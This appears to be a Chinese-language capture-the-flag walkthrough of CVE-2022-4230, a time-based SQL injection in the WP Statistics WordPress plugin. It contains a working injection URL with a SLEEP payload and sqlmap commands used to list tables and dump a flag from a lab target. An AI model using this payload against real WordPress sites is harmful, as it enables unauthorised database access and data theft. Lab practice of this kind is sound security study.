CVE-2022-4230

漏洞介绍

WP Statistics WordPress 插件13.2.9之前的版本不会转义参数，这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下，具有管理选项功能 (admin+) 的用户可以使用受影响的功能，但是该插件有一个设置允许低权限用户也可以访问它

知识补充

WordPress是一种CMS系统，在 WordPress 中，所有提交表单的数据都应包含一个 _wpnonce 字段，以防止未经授权的表单提交。Wordpress自己重写了路由规则，通过/wp-json/开头对内部的插件，主题等等进行访问，通过REST API来访问，每次都给发送一个_wpnonce来进行认证

概念验证

以具有查看 WP 统计权限的用户身份登录，并通过 https://example.com/wp-admin/admin-ajax.php?action=rest-nonce 获取一个 nonce，然后在以下 URL 中使用它，该 URL 将延迟 5 秒

里面的nonce需要通过返回的随机数值替换
http://example.com/wp-json/wp-statistics/v2/metabox?_wpnonce=NONCE&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR

漏洞分析

https://www.cnblogs.com/F12-blog/p/18170169

开始实验

打开靶场空白一片

想想可以访问/wp-admin/admin-ajax.php?action=rest-nonce 来获得nonce，访问试试

good,回显个0，说明可能存在其他条件限制返回nonce，扫一扫

存在一个/readme.html，访问看看

存在一个登录界面，尝试登录

用户/密码：test/test

再次尝试 /wp-admin/admin-ajax.php?action=rest-nonce

成功返回随机数，修改nonce

访问

/wp-json/wp-statistics/v2/metabox?_wpnonce=4d916dc27a&name=words&search_engine=aaa' AND (SELECT 5671 FROM (SELECT(SLEEP(5)))Mdgs)-- HsBR

抓包，使用sqlmap开始注入

查询当前数据库

python sqlmap.py -r C:\Users\Administrator\Desktop\1.txt --batch --current-db

爆表

python sqlmap.py -r C:\Users\Administrator\Desktop\1.txt --batch -D wordpress --tables

查询flag表后，发现flag字段，查询flag字段

python sqlmap.py -r C:\Users\Administrator\Desktop\1.txt  -D wordpress -T flag -C flag --dump